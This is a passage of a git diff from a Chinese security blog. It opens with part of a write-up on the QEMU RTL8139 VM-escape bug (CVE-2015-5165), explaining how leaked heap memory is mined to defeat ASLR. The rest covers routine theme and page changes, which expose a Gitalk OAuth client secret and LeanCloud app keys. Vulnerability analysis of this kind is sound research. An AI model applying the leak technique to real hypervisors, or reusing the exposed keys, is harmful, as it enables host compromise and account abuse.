RTL8139网卡设备仿真器在堆上保留了64 KB的空间以重组数据包。 该分配的缓冲区很可能把释放掉的object properties的内存占位了。
在我们的漏洞利用中我们在泄漏的内存中搜索已知的对象属性。更准确地说我们正在寻找80个字节的内存块块大小为已释放的ObjectProperty结构其中至少设置了一个函数指针get, set, resolve or release
即使这些地址受ASLR约束我们仍然可以猜测**.text节的基地址**。
> 0) 从 qemu-system-x86_64 二进制文件里搜索上述 4 类符号的所有静态地址, 如 **property_get_bool** 等符号的地址
> 1) 在读回来的 IP 包的数据里搜索值等于 0x60 的内存 ptr 如果匹配到, 认为 (u64*)ptr+1 的地方就是一个潜在的 struct ObjectProperty 对象, 对应的函数是 **qemu_get_leaked_chunk**
> 2) 在 1 搜索到的内存上匹配 0 收集到的 **get/set/resolve/release** 这几种符号的静态地址, 匹配方式为页内偏移相等, 如果匹配到, 认为就是 struct ObjectProperty 对象, 对应的函数是 **qemu_get_leaked_object_property**
> 3) 在 2 搜索的基础上, 用 **object->get/set/resolve/release** 的实际地址减去静态编译里算出来的 offset, 得到 .text 加载的地址
实际上它们的页面偏移是固定的12个最低有效位或虚拟地址不是随机的。 我们可以通过一些算法来获取QEMU一些有用函数的地址。 我们还可以从它们的PLT条目中导出某些LibC函数的地址例如mprotect() 和system()。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_30.png)
我们还注意到地址PHY_MEM + 0x78泄漏了几次其中PHY_MEM是分配给该Guest的**物理内存的起始地址。**
> 总结当前漏洞利用程序搜索泄漏的内存并尝试解析i.text段的基地址和ii物理内存的基地址。
### 3.4 遇到的几个问题
1. phrack提供的build-exploit.sh, 它是一个工具脚本,用来获取一些符号的(相对)地址。[原始的](http://www.phrack.org/papers/vm-escape-qemu-case-study.html) build-exploit.sh 获取 plt 段是通过下面的命令行:
2. `plt**=**$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')`
这样获取到的是 .plt.got 段,在我的环境里, mprotect 等系统函数符号没有在 .plt.got 这个段,而是在 .plt 这个段。因此替换如下:
```shell
#plt=$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')
plt=.plt
```
1. Phrack 文章提供的 Exploit 代码中搜索的地址是PHY_MEM + 0x78但实际上并不固定为0x78更通用的做法是统计泄露的数据中出现的 `uint64_t` 类型的数据 `0x00007FXXYYZZZZZZ` ,其中 `7FXXYY` 出现次数最多的数据,就是 QEMU 虚拟机物理内存的结束地址;修改之后成功获得物理地址
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_31.png">
通过 gdb 调试验证结果正确性:
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_32.png" >
## ref
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/#cve-2015-5165-exp
https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/

View File

@ -6,7 +6,6 @@ tags:
- ctf
categories:
- web
description: WEB安全的START
---
# 搭建环境

View File

@ -6,7 +6,6 @@ tags:
- ctf
categories:
- web
description: 信息收集+常规owasp top 10+逻辑漏洞
---
信息收集+常规owasp top 10+逻辑漏洞

View File

@ -6,7 +6,6 @@ tags:
- wifi
categories:
- 顶会论文
description: 什么是信息?什么是加密?什么是侧信道?
---

View File

@ -6,9 +6,10 @@ tags:
- Windows
- 漏洞
categories: Pwn
description: 这部分是对Window x86平台下的几个典型漏洞利用方式的介绍从最基础的、没有开启任何保护的漏洞程序入手然后开启GS最后通过rop绕过DEP。
---
这部分是对Window x86平台下的几个典型漏洞利用方式的介绍从最基础的、没有开启任何保护的漏洞程序入手然后开启GS最后通过rop绕过DEP。
---------------
# 0x00 漏洞利用开发简介
1需要什么

View File

@ -7,7 +7,6 @@ tags:
- 自然语言处理
categories:
- 顶会论文
description: 提前发现、登记和注释物联网设备
---
***论文来源:***USENIX SECURITY 2018Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices
***下载:***

View File

@ -7,7 +7,6 @@ tags:
- SSH
categories:
- IOT
description: 小米基于 trx 改了个打包解包固件的工具
---
# 小米固件工具mkxqimage

View File

@ -6,7 +6,7 @@ tags:
- 硬件层
categories:
- IOT
description: 固件有几种获取方法?
---
通过分析物联网设备遭受攻击的链条可以发现黑客获取固件把固件逆向成汇编或C程序语言后能分析出设备的运行流程和网络行为还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息他们也很难发现这些漏洞。从这一点看物联网设备的安全性在很大程度上决定于其固件的安全性。

View File

@ -5,7 +5,6 @@ tags:
- 逆向
- 破解
categories: 二进制
description: 一些逆向的小实验
---
# 软件保护方式

View File

@ -1,39 +1,22 @@
---
title: About Cool❄, aka 混元霹雳手
title: 关于我
date: 2019-03-17 18:55:11
type: "about"
comments: false
---
------
## TL;DR
- 🔭 Focus on IoT security and Android security.
- 🌱 Learning VM escape.
- 📝 My blog: https://cool-y.github.io/
- 🏫 Bachelor: Sichuan university; Master: Wuhan university
- 📫 Hit me up: cool.yim@foxmail.com
- ⚡ Fun fact: 'Fun Facts' Are Never Fun
- 💬 Ask me about ...
---------------
------
## 🙊Papers
### **智能家居攻击与防御方法综述**
**信息安全学报** , Han Yan, Guojun Peng, Luo Yuan, Side Liu
<center>一只想成为hacker的菜鸡的随笔
### **Android Data-Clone Attack via Operating System Customization**
**IEEE Access**, Song, Wenna, Ming Jiang, Han Yan, Yi Xiang, Yuan Chen, Yuan Luo, Kun He, and Guojun Peng.
自称混元霹雳手
### **App's Auto-Login Function Security Testing via Android OS-Level Virtualization**
**ICSE'21**, Song, Wenna, Jiang Ming, Lin Jiang, Han Yan, Yi Xiang, Yuan Chen, Jianming Fu, and Guojun Peng.
本科毕业于成都七中附属大学EE专业
-------
## 🙈Academic service
**Journal Sub Reviewer** 信息安全学报Cyber Security
现于街道口樱花大学攻读IS硕士
-------
## 🐒Vulnerabilities Disclosure
- PSV-2018-0020(duplicate)
- PSV-2019-0164
- CVE-2019-15843
- PSV-2020-0211(extended)
- CVE-2021-29379
偶尔分享踩过的坑
以及一些乱七八糟的想法
***欢迎交流~***</center>

View File

@ -1,119 +0,0 @@
---
title: Life is a wonderful thing
date: 2019-08-08 20:35:31
type: "hack之外"
comments: true
---
## 👣Footprint
### Beijing
| | |
| ------ | ----------- |
| ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075017/life/ed8fcbd8846a5503f00ad7dc89bb250.jpg) | ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075017/life/bae0a0b1356578e2ea0e3cbc8775789.jpg) |
| ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075017/life/3103ea1e6f402d8071956b933a4888a.jpg) ||
### Qingdao & Yantai
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075784/life/4d315332aae693e6ddd7f46fb44e5eb.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075783/life/8d8a7ee74e6ee20f4b5e5d64b50bba1.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075783/life/0b39705d40d1b3afa5983fad0656659.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075783/life/d68aef840e0b27734e55514324c3aad.jpg)|
### Hangzhou
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076425/life/8c958cbb036b2b5700d419aadff8981.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076433/life/bc53d4d59fe0567109b2fdcae73ad49.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076438/life/e97c138ba1bb94cb7a2eafe0742d180.jpg)||
### Nanjing
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076607/life/482f05f94499ab26f0402386d02acb7.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076607/life/482f05f94499ab26f0402386d02acb7.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076604/life/d4f61566a74c89128e8945c5fff6576.jpg)|![]()|
### Shanghai
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076823/life/c253b4877671de16e6fcf33bc4c346a.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076825/life/1c12f392632265d4928d1743af0a58c.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076830/life/b447add6d2ebaf392f876e00e9420fe.jpg)|![]()|
### Quanzhou & Xiamen
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077118/life/59f3440e97133fa3aa0e85de0a90e90.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077126/life/8c0a20d89fac9efba2a5d9178825f28.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077136/life/3d6b16a8e1c0d5151081c3403e3ccd5.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077111/life/c9bdcb566db1455ff73fc43c3b739f6.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077105/life/87a585bbc588baa4167a1805e92d928.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077099/life/d025c15c0b5e787bf8b3cb3cf834f53.jpg)|
### Haikou
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077399/life/93b6111863fa916917fc8f13ad03512.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077394/life/7065c06f743c629881d0b981d9ca1de.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077392/life/2edd325305b8a9cfba0eae36eb99855.jpg)|![]()|
### Qinghai
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077771/life/d2f538547401446600ad278f659f278.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077784/life/6adf21f23d7eb1718e3e66ce59bbc90.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077779/life/38c46862480582a77bb301c4aa374ab.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077774/life/21de36a564974001f43a126ac665a29.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077790/life/5ecab6c5ef8d00d0bf98c6ee7a493bf.jpg)|![]()|
### Xian
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078006/life/e19d3bfd408c896f44514e3e98a303f.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078009/life/800df229bda713832baab30f8d1576c.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078014/life/93382f02dcf4a8a5292f80718041ccd.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078019/life/ff6fc86f46ee85263630d34ed95e6a3.jpg)|
### Chengdu
| | |
| ------ | ----------- |
|![]()|![]()|
### Wuhan
| | |
| ------ | ----------- |
|![]()|![]()|
### Kangding
| | |
| ------ | ----------- |
|![]()|![]()|
### Zhengzhou
| | |
| ------ | ----------- |
|![]()|![]()|
### Changsha
| | |
| ------ | ----------- |
|![]()|![]()|
### Shenzhen
| | |
| ------ | ----------- |
|![]()|![]()|
### Xinjiang
| | |
| ------ | ----------- |
|![]()|![]()|
### Zhuhai
| | |
| ------ | ----------- |
|![]()|![]()|
### Xizang
| | |
| ------ | ----------- |
|![]()|![]()|
### Guangzhou
| | |
| ------ | ----------- |
|![]()|![]()|
### Hulunbeier
| | |
| ------ | ----------- |
|![]()|![]()|

View File

@ -0,0 +1,6 @@
---
title:
date: 2019-08-08 20:35:31
type: "hack之外"
comments: false
---

View File

@ -101,7 +101,7 @@ menu:
#sitemap: /sitemap.xml || sitemap
#commonweal: /404/ || heartbeat
bookmarks: /bookmarks/ || map
album: /album/ || heartbeat
HACK之外: /hack之外/ || heartbeat
# Enable/Disable menu icons.
menu_icons:
@ -118,10 +118,10 @@ baidusitemap:
# ---------------------------------------------------------------
# Schemes
#scheme: Muse
#scheme: Mist
scheme: Muse
# scheme: Gemini
#scheme: Pisces
scheme: Gemini
# ---------------------------------------------------------------
@ -145,7 +145,6 @@ social:
#YouTube: https://youtube.com/yourname || youtube
Instagram: https://www.instagram.com/yan__han/ || instagram
#Skype: skype:yourname?call|chat || skype
# RSS: /atom.xml || fas fa-rss
social_icons:
enable: true
@ -191,8 +190,8 @@ sidebar:
# - always expand for all pages automatically
# - hide expand only when click on the sidebar toggle icon.
# - remove Totally remove sidebar including sidebar toggle.
# display: post
display: always
display: post
#display: always
#display: hide
#display: remove
@ -203,10 +202,10 @@ sidebar:
b2t: false
# Scroll percent label in b2t button.
scrollpercent: true
scrollpercent: false
# Enable sidebar on narrow view (only for Muse | Mist).
onmobile: true
onmobile: false
# ---------------------------------------------------------------
@ -217,7 +216,7 @@ sidebar:
scroll_to_more: true
# Automatically saving scroll position on each post/page in cookies.
save_scroll: true
save_scroll: false
# Automatically excerpt description in homepage as preamble text.
excerpt_description: true
@ -257,7 +256,7 @@ alipay: /images/Alipay.png
# Declare license on posts
post_copyright:
enable: true
enable: false
license: CC BY-NC-SA 3.0
license_url: https://creativecommons.org/licenses/by-nc-sa/3.0/
@ -267,7 +266,7 @@ post_copyright:
# ---------------------------------------------------------------
# Reduce padding / margin indents on devices with narrow width.
mobile_layout_economy: true
mobile_layout_economy: false
# Android Chrome header panel color ($black-deep).
android_chrome_color: "#222"
@ -409,8 +408,8 @@ valine:
# Introduction: https://imsun.net/posts/gitment-introduction/
# You can get your Github ID from https://api.github.com/users/<Github username>
gitment:
enable: false
mint: true # RECOMMEND, A mint on Gitment, to support count, language and proxy_gateway
enable: true
mint: false # RECOMMEND, A mint on Gitment, to support count, language and proxy_gateway
count: true # Show comments count in post meta area
lazy: false # Comments lazy loading with a button
cleanly: false # Hide 'Powered by ...' on footer, and more
@ -422,15 +421,6 @@ gitment:
proxy_gateway: # Address of api proxy, See: https://github.com/aimingoo/intersect
redirect_protocol: # Protocol of redirect_uri with force_redirect_protocol when mint enabled
gitalk:
enable: true
github_user: Cool-Y
github_repo: gitment-comments
client_id: 180955a2c3ae3d966d9a
client_secret: 1c5db4da72df5e6fc318d12afe5f4406f7c54343
admin: Cool-Y
distractionFreeMode: true
# Baidu Share
# Available value:
# button | slide
@ -461,16 +451,16 @@ gitalk:
# Technorati,Posterous,Tumblr,GoogleBookmarks,Newsvine,
# Evernote,Friendfeed,Vkontakte,Odnoklassniki,Mailru
needmoreshare2:
enable: true
enable: false
postbottom:
enable: true
enable: false
options:
iconStyle: box
boxForm: horizontal
position: bottomCenter
networks: Weibo,Wechat,Douban,QQZone,Twitter,Facebook
float:
enable: true
enable: false
options:
iconStyle: box
boxForm: horizontal
@ -549,8 +539,8 @@ rating:
# You can visit https://leancloud.cn get AppID and AppKey.
leancloud_visitors:
enable: true
app_id: CnxMogaLcXQrm9Q03lF8XH7j-gzGzoHsz
app_key: EHqNuJ6AYvuHnY6bN6w2SMXl
app_id: EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz
app_key: x8FxDrYG79C8YFrTww9ljo8K
# Another tool to show number of visitors to each article.
# visit https://console.firebase.google.com/u/0/ to get apiKey and projectId
@ -621,19 +611,19 @@ algolia_search:
# Local search
# Dependencies: https://github.com/flashlab/hexo-generator-search
# local_search:
# enable: true
# # if auto, trigger search by changing input
# # if manual, trigger search by pressing enter key or search button
# trigger: auto
# # show top n results per article, show all results by setting to -1
# top_n_per_article: 1
local_search:
enable: true
# if auto, trigger search by changing input
# if manual, trigger search by pressing enter key or search button
trigger: auto
# show top n results per article, show all results by setting to -1
top_n_per_article: 1
# search:
# path: search.xml
# field: post
# format: html
# limit: 10000
search:
path: search.xml
field: post
format: html
limit: 10000
# ---------------------------------------------------------------
# Tags Settings
@ -698,24 +688,24 @@ motion:
fancybox: true
# Progress bar in the top during page loading.
pace: true
pace: false
# Themes list:
#pace-theme-big-counter
#pace-theme-bounce
#pace-theme-barber-shop
pace_theme: pace-theme-center-atom
#pace-theme-center-atom
#pace-theme-center-circle
#pace-theme-center-radar
#pace-theme-center-simple
#pace-theme-corner-indicator
#pace-theme-fill-left
# pace_theme: pace-theme-flash
#pace-theme-flash
#pace-theme-loading-bar
# pace_theme: pace-theme-mac-osx
#pace-theme-mac-osx
#pace-theme-minimal
# For example
# pace_theme: pace-theme-center-simple
# pace_theme: pace-theme-minimal
pace_theme: pace-theme-minimal
# Canvas-nest
canvas_nest: false
@ -735,7 +725,7 @@ canvas_sphere: false
# alpha: The transparency of the ribbon.
# zIndex: The display level of the ribbon.
canvas_ribbon:
enable: true
enable: false
size: 300
alpha: 0.6
zIndex: -1

View File

@ -17,7 +17,6 @@ menu:
sitemap: 站点地图
commonweal: 公益404
bookmarks: 书签
album: 相簿
sidebar:
overview: 站点概览

View File

@ -110,7 +110,7 @@
{% endif %}
<div id="music163player">
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=110 src="//music.163.com/outchain/player?type=4&id=334277093&auto=1&height=90"></iframe>
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=450 src="//music.163.com/outchain/player?type=4&id=334277093&auto=1&height=430"></iframe>
</div>

View File

@ -62,11 +62,6 @@
{% endif %}
</div>
{% elseif theme.gitalk.enable %}
<div class="comments" id="comments">
<div id="gitalk-container"></div>
</div>
{% elseif theme.valine.appid and theme.valine.appkey %}
<div class="comments" id="comments">
</div>

View File

@ -1,30 +0,0 @@
{% if not (theme.duoshuo and theme.duoshuo.shortname) and not theme.duoshuo_shortname %}
{% if theme.gitalk.enable and theme.gitalk.client_id %}
<!-- LOCAL: You can save these files to your site and update links -->
{% set CommentsClass = "Gitalk" %}
<link rel="stylesheet" href="https://unpkg.com/gitalk/dist/gitalk.css">
<script src="https://unpkg.com/gitalk/dist/gitalk.min.js"></script>
<!-- END LOCAL -->
{% if page.comments %}
<script type="text/javascript">
function renderGitalk(){
var gitalk = new {{CommentsClass}}({
owner: '{{ theme.gitalk.github_user }}',
repo: '{{ theme.gitalk.github_repo }}',
clientID: '{{ theme.gitalk.client_id }}',
clientSecret: '{{ theme.gitalk.client_secret }}',
admin: '{{ theme.gitalk.admin }}',
id: decodeURI(location.pathname),
{% if theme.gitalk.distractionFreeMode %}
distractionFreeMode: '{{ theme.gitalk.distractionFreeMode }}'
{% endif %}
});
gitalk.render('gitalk-container');
}
renderGitalk();
</script>
{% endif %}
{% endif %}
{% endif %}

View File

@ -6,4 +6,3 @@
{% include 'changyan.swig' %}
{% include 'gitment.swig' %}
{% include 'valine.swig' %}
{% include 'gitalk.swig' %}

View File

@ -62,8 +62,8 @@ get_font_family(config) {
}
// Font families.
//$font-family-chinese = "PingFang SC", "Microsoft YaHei"
$font-family-chinese = "Noto Serif SC";
$font-family-chinese = "PingFang SC", "Microsoft YaHei"
$font-family-base = $font-family-chinese, sans-serif
$font-family-base = get_font_family('global'), $font-family-chinese, sans-serif if get_font_family('global')
@ -228,11 +228,11 @@ $brand-color = white
$brand-hover-color = white
$brand-bg = $black-deep
$logo-font-size = 25px
$logo-font-size = 20px
$logo-font-size = unit(hexo-config('font.logo.size'), px) if hexo-config('font.logo.size') is a 'unit'
$site-subtitle-color = $grey-dark
$subtitle-font-size = 25px
$subtitle-font-size = 13px
$subtitle-color = $grey-dark
// Menu

View File

@ -1,5 +1,5 @@
//
$content-desktop = 700px
//$content-desktop = 700px
// 1600px
$content-desktop-large = 900px
$content-desktop-large = 1400px